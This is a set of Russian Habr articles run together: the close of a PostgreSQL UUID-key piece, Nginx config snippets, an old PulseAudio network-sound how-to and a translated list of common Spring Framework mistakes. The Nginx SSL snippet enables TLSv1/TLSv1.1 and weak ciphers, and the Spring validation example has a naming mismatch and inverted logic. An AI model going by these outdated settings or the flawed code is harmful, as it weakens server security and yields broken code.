Результаты подтверждают, что `gen_random_uuid` создаёт существенную активность в WAL из-за полностраничных образов (full-page images, FPI), а другие способы этим не страдают. Конечно, в третьем методе я просто запретил базе данных делать это. Однако запрет FPW совсем не то, что стоило бы использовать в реальности, если только вы не полностью уверены в файловой системе и конфигурации дисков. В [этой статье](https://blog.2ndquadrant.com/pg-phriday-postgres-zfs/) утверждается, что ZFS может быть безопасным для отключения FPW, но пользуйтесь им с осторожностью.
Явным победителем в моём бенчмарке оказался `uuid_generate_v1()` – он быстр и не замедляется при накоплении строк. Расширение uuid-ossp по умолчанию установлено в таких облачных базах данных, как RDS и Citus Cloud, и будет доступно без дополнительных усилий.
В документация есть предупреждение о uuid\_generate\_v1:
> В нём используется MAC-адрес компьютера и метка времени. Учитывайте, что UUID такого типа раскрывают информацию о компьютере, который создал идентификатор, и время его создания, что может быть неприемлемым, когда требуется высокая безопасность.
Однако я не думаю, что настоящая проблема, потому что суррогатный ключ не передаётся. Если же это всё-таки важно для вас, в библиотеке есть `uuid_generate_v1mc()`, скрывающий mac-адрес компьютера.
### Итоги и рекомендации
Теперь, когда мы познакомились с различными типами ключей и вариантами их использования, я хочу перечислить мои рекомендации по применению их в ваших базах данных.
Для каждой таблицы:
1. Определите и объявите все естественные ключи.
2. Создайте суррогатный ключ `\_id` типа `uuid` со значением по умолчанию в `uuid_generate_v1()`. Можете даже пометить его как первичный ключ. Если добавить в этот идентификатор название таблицы, это упростит JOIN, т.е. получите `JOIN foo USING (bar_id)` вместо `JOIN foo ON (foo.bar_id = bar.id)`. Не передавайте этот ключ клиентам и вообще не выводите за пределы базы данных.
3. Для промежуточных таблиц, через которые происходит JOIN, объявляйте все колонки внешних ключей как единый составной первичный ключ.
4. При необходимости добавьте искусственный ключ, который можно использовать в URL или других указаниях ссылки на строку. Используйте сетку Фейстеля или pg\_hashids, чтобы замаскировать автоинкрементные целые.
5. Указывайте каскадное ограничение `ON UPDATE RESTRICT`, используя суррогатные UUID в качестве внешних ключей, а для внешних искусственных ключей – `ON UPDATE CASCADE`. Выбирайте естественные ключи, исходя из собственной логики.
Такой подход обеспечивает стабильность внутренних ключей, в то же время допуская и даже защищая естественные ключи. К тому же, видимые искусственные ключи не становятся к чему-либо привязанными. Правильно во всем разобравшись, можно не зацикливаться только на «первичных ключах» и пользоваться всеми возможностями применения ключей.
---
Обсуждать подобные профессиональные вопросы мы предлагаем на наших конференциях. Если у вас за плечами большой опыт в ИТ-сфере, наболело, накипело и хочется высказаться, поделиться опытом или где-то попросить совета, то на майском фестивале конференций [РИТ++](http://ritfest.ru/) будут для этого все условия, 8 тематических направлений начиная от фронтенда и мобильной разработки, и заканчивая DevOps и управлением. Подать заявку на выступление можно [здесь](http://speakers.ritfest.ru/). | https://habr.com/ru/post/348172/ | null | ru | null |
# Полезные сниппеты для Nginx конфигов
Доброго времени суток, уважаемые хабравчане! В [Elasticweb](http://habrahabr.ru/post/272241/) мы негласно ратуем за Nginx и, наверное, мы одни из немногих хостингов, которые не поддерживают Apache и .htaccess соответственно. В связи с этим, большое количество обращений в тех. поддержку связано с оказанием помощи в написании конфигурационного файла для Nginx. Поэтому мы решили собрать [коллекцию полезных сниппетов](https://github.com/elasticweb/nginx-snippets) и [коллекцию готовых Nging конфигов](https://github.com/elasticweb/nginx-configs) для наиболее популярных CMS/CMF/Фреймворков на PHP.
#### Готовые конфиги:
* [Asgard CMS](https://github.com/elasticweb/nginx-configs#asgard-cms)
* [Bolt CMS](https://github.com/elasticweb/nginx-configs#bolt-cms)
* [CMS Made Simple](https://github.com/elasticweb/nginx-configs#cms-made-simple)
* [Codeigniter](https://github.com/elasticweb/nginx-configs#codeigniter)
* [Data Life Engine](https://github.com/elasticweb/nginx-configs#data-life-engine)
* [Drupal 7, 8](https://github.com/elasticweb/nginx-configs#drupal-7-8)
* [FuelPHP](https://github.com/elasticweb/nginx-configs#fuelphp)
* [Joomla 2, 3](https://github.com/elasticweb/nginx-configs#joomla-2-3)
* [KodiCMS](https://github.com/elasticweb/nginx-configs#kodicms)
* [Kohana](https://github.com/elasticweb/nginx-configs#kohana)
* [Laravel](https://github.com/elasticweb/nginx-configs#laravel)
* [MaxSite CMS](https://github.com/elasticweb/nginx-configs#maxsite-cms)
* [MediaWiki](https://github.com/elasticweb/nginx-configs#mediawiki)
* [MODx Revolution](https://github.com/elasticweb/nginx-configs#modx-revolution)
* [Octobercms](https://github.com/elasticweb/nginx-configs#octobercms)
* [OpenCart 1.5](https://github.com/elasticweb/nginx-configs#opencart-15)
* [phpBB3](https://github.com/elasticweb/nginx-configs#phpbb3)
* [ProcessWire 2](https://github.com/elasticweb/nginx-configs#processwire-2)
* [Symfony](https://github.com/elasticweb/nginx-configs#symfony)
* [Wordpress 4](https://github.com/elasticweb/nginx-configs#wordpress-4)
* [Yii Advanced](https://github.com/elasticweb/nginx-configs#yii-advanced)
* [Yii Basic](https://github.com/elasticweb/nginx-configs#yii-basic)
* [ZenCart 1.5](https://github.com/elasticweb/nginx-configs#zencart-15)
* [Zend Framework](https://github.com/elasticweb/nginx-configs#zend-framework)
#### Команды Nginx
Основные команды для выполнения базовых операций во время работы Nginx.
* **nginx -V** — проверить версию Nginx, его скомпилированные параметры конфигурации и установленные модули.
* **nginx -t** — протестировать конфигурационный файл и проверить его расположение.
* **nginx -s reload** — перезапустить конфигурационный файл без перезагрузки Nginx.
#### Location блок на PHP
Простой шаблон для быстрой и легкой установки PHP, FPM или CGI на ваш сайт.
```
location ~ \.php$ {
try_files $uri =404;
client_max_body_size 64m;
client_body_buffer_size 128k;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_pass unix:/path/to/php.sock;
}
```
#### Rewrite и Redirection
##### Force www
[Корректный способ](http://nginx.org/en/docs/http/converting_rewrite_rules.html) определить удаленный сервер по домену без *www* и перенаправить его c *www*:
```
server {
listen 80;
server_name example.org;
return 301 $scheme://www.example.org$request_uri;
}
server {
listen 80;
server_name www.example.org;
...
}
```
*Также работает для HTTPS.*
##### Force no-www
Корректный способ определить удаленный сервер по домену c *www* и перенаправить его без *www*:
```
server {
listen 80;
server_name example.org;
}
server {
listen 80;
server_name www.example.org;
return 301 $scheme://example.org$request_uri;
}
```
##### Force HTTPS
Способ для переадресации с HTTP на HTTPS:
```
server {
listen 80;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
# let the browsers know that we only accept HTTPS
add_header Strict-Transport-Security max-age=2592000;
...
}
```
##### Force Trailing Slash
Данная строка добавляет слэш `/` в конце каждого URL, только в том случаее если в URL нет точки или параметров. Тоесть после *example.com/index.php* или *example.com/do?some=123* слэш не поставится.
```
rewrite ^([^.\?]*[^/])$ $1/ permanent;
```
##### Редирект на страницу
```
server {
location = /oldpage.html {
return 301 http://example.org/newpage.html;
}
}
```
##### Редирект на сайт
```
server {
server_name old-site.com
return 301 $scheme://new-site.com$request_uri;
}
```
##### Редирект на определенный путь в URI
```
location /old-site {
rewrite ^/old-site/(.*) http://example.org/new-site/$1 permanent;
}
```
#### Производительность
##### Кэширование
Навсегда разрешить браузерам кэшировать статические содержимое. Nginx установит оба заголовка: Expires и Cache-Control.
```
location /static {
root /data;
expires max;
}
```
Запретить кэширование браузерам (например для отслеживания запросов) можно следующим образом:
```
location = /empty.gif {
empty_gif;
expires -1;
}
```
##### Gzip сжатие
```
gzip on;
gzip_buffers 16 8k;
gzip_comp_level 6;
gzip_http_version 1.1;
gzip_min_length 256;
gzip_proxied any;
gzip_vary on;
gzip_types
text/xml application/xml application/atom+xml application/rss+xml application/xhtml+xml image/svg+xml
text/javascript application/javascript application/x-javascript
text/x-json application/json application/x-web-app-manifest+json
text/css text/plain text/x-component
font/opentype application/x-font-ttf application/vnd.ms-fontobject
image/x-icon;
gzip_disable "msie6";
```
##### Кэш файлов
Если у вас кешируется большое количество статических файлов через Nginx, то кэширование метаданных этих файлов позволит сэкономить время задержки.
```
open_file_cache max=1000 inactive=20s;
open_file_cache_valid 30s;
open_file_cache_min_uses 2;
open_file_cache_errors on;
```
##### SSL кэш
Подключение SSL кэширования позволит возобновлять SSL сессии и сократить время к следующим обращениям к SSL/TLS протоколу.
```
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
```
##### Поддержка Upstream
Активация кеширования c использованием Upstream подключений:
```
upstream backend {
server 127.0.0.1:8080;
keepalive 32;
}
server {
...
location /api/ {
proxy_pass http://backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
}
}
```
##### Мониторинг
По умолчанию [Stub Status](http://nginx.org/ru/docs/http/ngx_http_stub_status_module.html) модуль не собирается, его сборку необходимо разрешить с помощью конфигурационного параметра —with-http\_stub\_status\_module и активировать с помощью:
```
location /status {
stub_status on;
access_log off;
}
```
Данная настройка позволит вам получать статус в обычном текстовом формате по общему количеству запросов и клиентским подключениям (принятым, обработанным, активным).
Более информативный статус от Nginx можно получить с помощью [Luameter](https://luameter.com/), который несколько сложнее в установке и требует наличия Nginx Lua модуля. Это предоставит следующие метрики по различным конфигурационным группам в формате JSON:
* Общее количество запросов/ответов.
* Общее количество ответов сгруппирированных по статус кодам: 1xx, 2xx, 3xx, 4xx, 5xx.
* Общее количество байт принятых/отправленных клиенту.
* Промежуточные отрезки времени для оценки минимума, максимума, медианы, задержек и тд.
* Среднестатистическое количество запросов для простоты мониторинга и составления прогнозов по нагрузке.
* [И прочее…](https://luameter.com/metrics)
[Пример дашборда от Luameter](https://luameter.com/demo).
Также для сбора статистики отлично подходит [ngxtop](https://github.com/lebinh/ngxtop).
#### Безопасность
##### Активация базовой аунтификации
Для начала вам потребуется создать пароль и сохранить его в обычной текстовом файле:
```
имя:пароль
```
Затем установить найтройки для server/location блока, который необходимо защитить:
```
auth_basic "This is Protected";
auth_basic_user_file /path/to/password-file;
```
##### Открыть только локальный доступ
```
location /local {
allow 127.0.0.1;
deny all;
...
}
```
##### Защита SSL настроек
* Отключить SSLv3, если он включен по умолчанию. Это предотвратит [POODLE SSL Attack](http://nginx.com/blog/nginx-poodle-ssl/).
* Шифры, которые наилучшим образом обеспечат защиту. [Mozilla Server Side TLS and Nginx](https://wiki.mozilla.org/Security/Server_Side_TLS#Nginx).
```
# don’t use SSLv3 ref: POODLE CVE-2014-356 - http://nginx.com/blog/nginx-poodle-ssl/
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
# Ciphers set to best allow protection from Beast, while providing forwarding secrecy, as defined by Mozilla (Intermediate Set) - https://wiki.mozilla.org/Security/Server_Side_TLS#Nginx
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
ssl_prefer_server_ciphers on;
```
#### Прочее
##### Подзапросы после завершения
Бывают ситуации, когда вам необходимо передать запрос на другой бэкэнд **в дополнении или после его обработки**. Первый случай — отслеживать количество завершенных загрузок путем вызова API, после того как пользователь скачал файл. Второй случай -отслеживать запрос, к которому вы бы хотели вернуться как можно быстрее (возможно с пустым .gif) и сделать соответствующие записи в фоновом режиме. [**post\_action**](http://wiki.nginx.org/HttpCoreModule#post_action), который позволяет вам определить подзапрос и будет отклонен по окончанию текущего запроса — является [лучшим решением](http://mailman.nginx.org/pipermail/nginx/2008-April/004524.html) для обоих вариантов.
```
location = /empty.gif {
empty_gif;
expires -1;
post_action @track;
}
location @track {
internal;
proxy_pass http://tracking-backend;
}
```
##### Распределение ресурсов между источниками
Самый простой и наиболее известный способ кросс-доменного запроса на ваш сервер:
```
location ~* .(eot|ttf|woff) {
add_header Access-Control-Allow-Origin *;
}
```
#### Источники
* [Nginx Official Guide](http://nginx.com/resources/admin-guide/)
* [HTML 5 Boilerplate’s Sample Nginx Configuration](https://github.com/h5bp/server-configs-nginx)
* [Nginx Pitfalls](http://wiki.nginx.org/Pitfalls)
Большое спасибо всем за внимание! | https://habr.com/ru/post/272381/ | null | ru | null |
# Pulseaudio в Ubuntu — звук по сети (и не только)
**Update/Disclaimer**: эта хня уже не актуальна т.к. в 8.04 оно завёрнуто в пульс по дефолту. В 7.10 есть какие-то макросы в asoundconf на эту тему. Остальные дистрибы тоже ползут в этом направлении.
Этой осенью я делал презентацию для OSU Open Source club про сервер звука [PulseAudio](http://www.pulseaudio.org/), заменяющий ESD, но с кучей новых дополнений и трюков.
К сожалению, с тех пор я не смог заставить его заработать снова, и не мог до тех пора, пока не обновился до Feisty Fawn. Я наконец разобрался как это делается.
### Почему PulseAudio?
Сначала, немного мотивации. Зачем сейчас использовать сервер звука? Вроде бы ALSA нормально работает. Есть три причины почему стоит установить PulseAudio:
* Самая главная — PulseAudio может прозрачно воспроизводить звук по сети, вне зависимости от настоящего расположения компьютера. Что это значит? В
сущности, вы жмёте Play на ноуте и звук идёт из колонок вашего десктопа.
* Старые программы использующие OSS могут быть настроены чтобы работать корректно, при этом остальные звуки будут воспроизводиться в это же время.
* Ещё не реализованая, но очёнь клёвая штука: звук может быть настроен для каждого приложения по-отдельности. Сейчас можно управлять этим вручную, но будет очень здорово, когда это будет автоматически, основываясь на классе источника. Например, музыка сделается тише, когда вы принимаете VoIP вызов. Кое-кто [работал над этим](http://live.gnome.org/GSmartMix) в качестве своего проекта Google SoC, но не ушёл особо далеко (и по-моему, его реализация всё равно надуманная).
### Как Pulseaudio'фицироваться
Для этого нужно установить несколько пакетов:
```
sudo apt-get install "pulseaudio-*" paman padevchooser paprefs
```
Если у вас установлен Flash Player 9 сделайте ещё и это:
````
wget "http://www.paulbetts.org/projects/libflashsupport_1.0~2219-1_i386.deb"
sudo dpkg -i libflashsupport_1.0~2219-1_i386.deb
````
Далее, отредактируйте файл настроек ALSA: `sudo gedit /etc/asound.conf`. Пропишите туда следующее:
```
pcm.pulse {
type pulse
}
ctl.pulse {
type pulse
}
pcm.!default {
type pulse
}
ctl.!default {
type pulse
}
```
### Некоторые настройки
Теперь, зайдите в меню Система → Настройки → Звук и на вкладке «Звуки» включите «програмное смешивание звука (ESD)».
Необходимо добавить всех пользователей в группу `pulse-access`. Для этого зайдите в меню Система → Администрирование → Пользователи и группы, Управление группами и выберите группу `pulse-access` и добавьте в неё всех пользователей, которые будут использовать аудиосервер. Иначе у вас будут ошибки «no-sound» и зависания.
Далее, убедитесь, что PulseAuidio настроен правильно — нажмите Alt+F2 и введите `paprefs`. Так выглядят правильные настройки:
Убедитесь, что Multicast/RTP **отключены**, иначе у вас будут проблемы в виде сбоев и задержек.
Перезагрузитесь или запустите ``pulseaudio`'. Далее, зайдите в меню Аудио и видео → PulseAudio device chooser и если у вас уже настроено больше одного компьюетра, вы можете выбрать куда выводить звук.
### Некоторые проблемы
К сожалению, хотя скорее всего получится заставить это работать, это несколько неудобно и глючно — PulseAudio ещё не настолько пуленепробиваема и вам возможно придётся что-то затачивать. В частности, раздражает Skype; обычно лучше всего сделать `killall pulseaudio` перед попыткой сделать вызов Skype, хотя у меня получалось заставить его работать через OSS и `padsp`.
*Благодарности:* большая часть этого howto взята из [The Perfect Setup](http://pulseaudio.org/wiki/PerfectSetup) с сайта PulseAudio.
Поддержка Flash 9 найдена на вики [Revolution Linux](http://pulseaudio.revolutionlinux.com/PulseAudio)
##### Отсебятина про настройку
Рекомендую сделать `aptitude search pulseaudio` и поставить оттуда всё что есть. Потом доставить ``libgstreamer-plugins-pulse0.10-0
code> и запустить gstreamer-properties`, выставив там PulseAudio где можно.`
После основной установки можно пройтись по вышеуказаному [The Perfect Setup](http://pulseaudio.org/wiki/PerfectSetup) и настроить всё что нужно/есть: все проги поснимать с альсы и осс и посадить на pulse. На всякий случай (**:**
Жители KDE ставят `pulseaudio-esound-compat` и переключают arts на esd.
В файле `/etc/default/pulseaudio` можно поставить автозагрузку сервера вместе с системой. Тогда (наверно) не надо добавлять pulseaudio в автозагрузку пользователя. | https://habr.com/ru/post/31035/ | null | ru | null |
# 10 самых распространенных ошибок Spring Framework
Привет, Хабр! Представляю вашему вниманию перевод статьи [«Top 10 Most Common Spring Framework Mistakes»](https://www.toptal.com/spring/top-10-most-common-spring-framework-mistakes) автора Toni Kukurin.
Spring, вероятно, один из самых популярных Java-фреймворков, а также могучий зверь для укрощения. Хотя его базовые концепции довольно легко понять, для того, чтобы стать сильным Spring разработчиком, нужно время и усилия.
В этой статье мы рассмотрим некоторые из наиболее распространенных ошибок в Spring, особенно касающихся веб-приложений и Spring Boot. Как говорится на [сайте Spring Boot](http://projects.spring.io/spring-boot/), он навязывает представление о том, как должны быть построены промышленные приложения, поэтому в этой статье мы попытаемся продемонстрировать это представление и дать обзор некоторых советов, которые хорошо вольются в стандартный процесс разработки веб-приложений на Spring Boot.
Если вы не очень хорошо знакомы со Spring Boot, но все же хотели бы попробовать некоторые из упомянутых вещей, я создал [репозиторий GitHub, сопровождающий эту статью](https://github.com/tkukurin/toptal-spring-common-mistakes). Если в любом месте статьи вы почувствуете что потерялись, я рекомендую склонировать репозиторий на локальный компьютер и поиграть с кодом.
Распространенная ошибка №1: спускаться на слишком низкий уровень
----------------------------------------------------------------
Мы сталкиваемся с этой распространенной ошибкой, потому что синдром [”изобретено за границей (not invented here)"](https://en.wikipedia.org/wiki/Not_invented_here) — довольно распространен в мире разработки программного обеспечения. Симптомы включают в себя регулярное переписывание фрагментов часто используемого кода, и многие разработчики, похоже, страдают этим.
Хотя понимание внутренностей конкретной библиотеки и ее реализации по большей части хорошо и необходимо (и может быть отличным процессом обучения), но постоянно решать одни и те же низкоуровневые детали реализации — вредно для вашего развития как инженера-программиста. Есть причина, по которой существуют абстракции и фреймворки, такие как Spring, строго отделяющие вас от повторяющейся ручной работы и позволяющие сосредоточиться на деталях более высокого уровня — ваших доменных объектах и бизнес-логике.
Поэтому пользуйтесь абстракциями — в следующий раз, когда вы столкнетесь с конкретной проблемой, сначала выполните быстрый поиск и определите, интегрирована ли библиотека, решающая эту проблему, в Spring. В настоящее время вы, скорее всего, найдете существующее подходящее решение. Как пример полезной библиотеки, в примерах остальной части этой статьи я буду использовать аннотации [проекта Lombok](https://projectlombok.org/). Lombok используется в качестве генератора шаблонного кода и ленивый разработчик внутри вас, надеюсь, не должен иметь проблем с представлением об этой библиотеке. В качестве примера, посмотрите, как выглядит [«стандартный Java бин»](http://stackoverflow.com/questions/3295496/what-is-a-javabean-exactly) с Ломбоком:
```
@Getter
@Setter
@NoArgsConstructor
public class Bean implements Serializable {
int firstBeanProperty;
String secondBeanProperty;
}
```
Как вы можете себе представить, приведенный выше код компилируется в:
```
public class Bean implements Serializable {
private int firstBeanProperty;
private String secondBeanProperty;
public int getFirstBeanProperty() {
return this.firstBeanProperty;
}
public String getSecondBeanProperty() {
return this.secondBeanProperty;
}
public void setFirstBeanProperty(int firstBeanProperty) {
this.firstBeanProperty = firstBeanProperty;
}
public void setSecondBeanProperty(String secondBeanProperty) {
this.secondBeanProperty = secondBeanProperty;
}
public Bean() {
}
}
```
Однако обратите внимание, что вам, скорее всего, придется установить плагин, если вы собираетесь использовать Lombok с вашей IDE. Версию плагина для IntelliJ IDEA можно найти [здесь](https://plugins.jetbrains.com/idea/plugin/6317-lombok-plugin).
Распространенная ошибка №2: «утечка» внутреннего содержимого
------------------------------------------------------------
Раскрытие вашей внутренней структуры — это всегда плохая идея, потому что создает негибкость в дизайне сервиса и, следовательно, способствует плохой практике кодирования. «Утечка» внутреннего содержимого проявляется в том, что структура базы данных доступна с определенных эндпоинтов API. В качестве примера предположим, что следующий POJO (”Plain Old Java Object") представляет таблицу в вашей базе данных:
```
@Entity
@NoArgsConstructor
@Getter
public class TopTalentEntity {
@Id
@GeneratedValue
private Integer id;
@Column
private String name;
public TopTalentEntity(String name) {
this.name = name;
}
}
```
Предположим, существует эндпоинт, который должен получить доступ к данным TopTalentEntity. Как бы ни было заманчиво возвращать экземпляры TopTalentEntity, более гибким решением было бы создание нового класса для отображения данных TopTalentEntity на эндпоинте API:
```
@AllArgsConstructor
@NoArgsConstructor
@Getter
public class TopTalentData {
private String name;
}
```
Таким образом, внесение изменений в бэкенд базы данных не потребует каких-либо дополнительных изменений в слое сервиса. Подумайте, что произойдет в случае добавления поля «пароль» в TopTalentEntity для хранения хэшей паролей пользователей в базе данных — без соединителя, такого как TopTalentData, если забыть изменить сервис, фронтенд случайно покажет какую-нибудь очень нежелательную секретную информацию!
Распространенная ошибка №3: отсутствие разделения обязанностей
--------------------------------------------------------------
По мере роста вашего приложения организация кода становится все более важным вопросом. По иронии судьбы, большинство хороших принципов разработки программного обеспечения начинают повсеместно нарушаться – особенно в тех случаях, когда мало внимания уделяется проектированию архитектуры приложений. Одна из наиболее распространенных ошибок, с которыми сталкиваются разработчики — это смешивание обязанностей кода, и это очень легко сделать!
Что обычно нарушает принцип [разделения обязанностей](https://en.wikipedia.org/wiki/Separation_of_concerns), так это просто «добавление» новой функциональности в существующие классы. Это, конечно, отличное краткосрочное решение (для начала, оно требует меньше набора текста), но оно неизбежно станет проблемой в будущем, будь то во время тестирования, сопровождения или где-то между ними. Рассмотрим следующий контроллер, который возвращает TopTalentData из своего репозитория:
```
@RestController
public class TopTalentController {
private final TopTalentRepository topTalentRepository;
@RequestMapping("/toptal/get")
public List getTopTalent() {
return topTalentRepository.findAll()
.stream()
.map(this::entityToData)
.collect(Collectors.toList());
}
private TopTalentData entityToData(TopTalentEntity topTalentEntity) {
return new TopTalentData(topTalentEntity.getName());
}
}
```
Сначала не заметно, что с этим фрагментом кода что-то не так. Он предоставляет список TopTalentData, который извлекается из экземпляров TopTalentEntity. Однако, если присмотреться, мы увидим, что на самом деле TopTalentController выполняет здесь несколько вещей. А именно: он маппит запросы на конкретный эндпоинт, извлекает данные из репозитория и преобразует сущности, полученные из TopTalentRepository, в другой формат. «Более чистым» решением было бы разделение этих обязанностей по их собственным классам. Это может выглядеть примерно так:
```
@RestController
@RequestMapping("/toptal")
@AllArgsConstructor
public class TopTalentController {
private final TopTalentService topTalentService;
@RequestMapping("/get")
public List getTopTalent() {
return topTalentService.getTopTalent();
}
}
@AllArgsConstructor
@Service
public class TopTalentService {
private final TopTalentRepository topTalentRepository;
private final TopTalentEntityConverter topTalentEntityConverter;
public List getTopTalent() {
return topTalentRepository.findAll()
.stream()
.map(topTalentEntityConverter::toResponse)
.collect(Collectors.toList());
}
}
@Component
public class TopTalentEntityConverter {
public TopTalentData toResponse(TopTalentEntity topTalentEntity) {
return new TopTalentData(topTalentEntity.getName());
}
}
```
Дополнительным преимуществом этой иерархии является то, что она позволяет нам определить, где находится функциональность, просто проверяя имя класса. Кроме того, во время тестирования мы можем легко заменить любой из классов мок-реализацией, если возникнет такая необходимость.
Распространенная ошибка №4: несогласованность (Inconsistency) и плохая обработка ошибок
---------------------------------------------------------------------------------------
Тема обеспечения согласованности не обязательно является эксклюзивной для Spring (или Java, если на то пошло), но все же является важным аспектом, который следует учитывать при работе над проектами Spring. В то время как стиль написания кода может быть предметом обсуждения (и обычно это вопрос соглашения в команде или в рамках всей компании), наличие общего стандарта оказывается большим подспорьем в производительности. Это особенно верно для команд из нескольких человек. Согласованность позволяет осуществлять передачу кода без больших затрат ресурсов на сопровождение или предоставление подробных объяснений относительно обязанностей различных классов.
Рассмотрим проект Spring с различными файлами конфигурации, сервисами и контроллерами. Будучи семантически последовательными в их именовании, создается легко доступная для поиска структура, в которой любой новый разработчик может управлять способами работы с кодом: например, добавляется суффикс Config к классам конфигурации, суффикс Service к сервисам и суффикс Controller к контроллерам.
Тесно связанная с темой согласованности, обработка ошибок на стороне сервера заслуживает особого внимания. Если вам когда-либо приходилось обрабатывать ответы-исключения из плохо написанного API, вы, вероятно, знаете, почему может быть болезненно правильно парсить исключения, а еще сложнее определить причину, по которой эти исключения возникли первоначально.
Как разработчик API, вы в идеале хотите охватить все пользовательские эндпоинты и перевести их на общий формат ошибок. Это обычно означает, что у вас есть общий код ошибки и описание, а не просто отмазка в виде: a) возврат сообщения “500 Internal Server Error” или b) просто сброс стэктрейса пользователю (чего следует избегать любой ценой, поскольку он показывает ваши внутренности в дополнение к сложности обработки на стороне клиента).
Примером распространенного формата ответа на ошибку может быть:
```
@Value
public class ErrorResponse {
private Integer errorCode;
private String errorMessage;
}
```
Нечто подобное обычно встречается в большинстве популярных API и, как правило, хорошо работает, поскольку это можно легко и систематически документировать. Перевод исключений в этот формат можно выполнить, предоставив методу аннотацию @ExceptionHandler (пример аннотации приведен в Распространенной Ошибке №6).
Распространенная ошибка №5: неправильная работа с многопоточностью
------------------------------------------------------------------
Независимо от того, встречается ли она в десктопных или веб-приложениях, в Spring или не в Spring, многопоточность может оказаться непростой для решения задачей. Проблемы, вызванные параллельным выполнением программ, являются до нервозности неуловимыми и зачастую чрезвычайно сложными для отладки — фактически, из-за природы проблемы, как только вы понимаете, что имеете дело с проблемой параллельного выполнения, вам, вероятно, следует полностью отказаться от отладчика и начать проверять свой код «вручную», пока не найдете причину ошибки. К сожалению, для решения таких проблем не существует шаблонного решения. В зависимости от конкретного случая вам придется оценить ситуацию, а затем атаковать проблему под углом, который вы считаете наилучшим.
В идеале вам, конечно же, хотелось бы полностью избежать багов, связанных с многопоточностью. Опять же, для этого не существует единого подхода, но приведем некоторые практические соображения для отладки и предотвращения ошибок многопоточности:
### Избегайте глобального состояния
Во-первых, всегда помните о проблеме “глобального состояния”. Если вы создаете многопоточное приложение, абсолютно все, что можно изменить глобально, должно быть тщательно отслежено и, если это возможно, полностью удалено. Если есть причина, по которой глобальная переменная должна оставаться изменяемой, тщательно используйте [синхронизацию](https://docs.oracle.com/javase/tutorial/essential/concurrency/syncmeth.html) и отслеживайте производительность вашего приложения, чтобы подтвердить, что оно не замедляется из-за новых периодов ожидания.
### Избегайте изменчивости (Mutability)
Это следует прямо из [функционального программирования](https://en.wikipedia.org/wiki/Functional_programming) и, в соответствии с ООП, гласит, что следует избегать изменчивости класса и изменения состояния. Вкратце, вышесказанное означает наличие сеттеров и приватных финальных полей во всех классах модели. Их значения меняются только во время конструирования. Таким образом, вы можете быть уверены, что проблем гонки за ресурсы не возникнет и что обращение к свойствам объекта будет всегда обеспечивать правильные значения.
### Логгируйте критические данные
Оцените, где ваше приложение может вызвать проблемы, и заранее логгируйте все важные данные. Если произойдет ошибка, вы будете благодарны за информацию о том, какие запросы были получены и сможете лучше понять, почему ваше приложение плохо себя ведет. Опять же необходимо отметить, что логгирование увеличивает файловый ввод-вывод, поэтому не следует им злоупотреблять, поскольку это может серьезно повлиять на производительность вашего приложения.
### Переиспользуйте существующие реализации
Всякий раз, когда вам нужно создать свои собственные потоки (например, для выполнения асинхронных запросов к различным службам), переиспользуйте существующие безопасные реализации, а не создавайте свои собственные решения. По большей части это будет означать использование [ExecutorServices](http://www.nurkiewicz.com/2014/11/executorservice-10-tips-and-tricks.html) и [CompletableFutures](http://www.nurkiewicz.com/2013/05/java-8-definitive-guide-to.html) в аккуратном функциональном стиле Java 8 для создания потоков. Spring также позволяет осуществлять асинхронную обработку запросов через класс [DeferredResult](http://docs.spring.io/spring-framework/docs/4.0.x/spring-framework-reference/html/mvc.html#mvc-ann-async).
Распространенная ошибка № 6: неиспользование валидации на основе аннотаций
--------------------------------------------------------------------------
Давайте представим, что нашему сервису TopTalent, упомянутому выше, требуется эндпоинт для добавления новых Супер Талантов. Кроме того, допустим, что по какой-то действительно веской причине каждое новое имя должно быть длиной ровно 10 символов. Один из способов сделать это может быть следующим:
```
@RequestMapping("/put")
public void addTopTalent(@RequestBody TopTalentData topTalentData) {
boolean nameNonExistentOrHasInvalidLength =
Optional.ofNullable(topTalentData)
.map(TopTalentData::getName)
.map(name -> name.length() == 10)
.orElse(true);
if (nameNonExistentOrInvalidLength) {
// throw some exception
}
topTalentService.addTopTalent(topTalentData);
}
```
Однако вышеизложенное (в дополнение к тому, что оно плохо сконструировано) на самом деле не является «чистым» решением. Мы проверяем более одного типа валидности (а именно, что TopTalentData не null, и что TopTalentData.name не null, и что TopTalentData.name имеет длину 10 символов), а также бросает исключение, если данные недействительны.
Это можно сделать гораздо более чисто, используя [Hibernate validator](http://hibernate.org/validator/) со Spring. Сначала перепишем метод addTopTalent для поддержки валидации:
```
@RequestMapping("/put")
public void addTopTalent(@Valid @NotNull @RequestBody TopTalentData topTalentData) {
topTalentService.addTopTalent(topTalentData);
}
@ExceptionHandler
@ResponseStatus(HttpStatus.BAD_REQUEST)
public ErrorResponse handleInvalidTopTalentDataException(MethodArgumentNotValidException methodArgumentNotValidException) {
// handle validation exception
}
```
Кроме того, мы должны указать, какое свойство мы хотим проверить в классе TopTalentData:
```
public class TopTalentData {
@Length(min = 10, max = 10)
@NotNull
private String name;
}
```
Теперь Spring перехватит запрос и проверит его перед вызовом метода – нет необходимости использовать дополнительные ручные тесты.
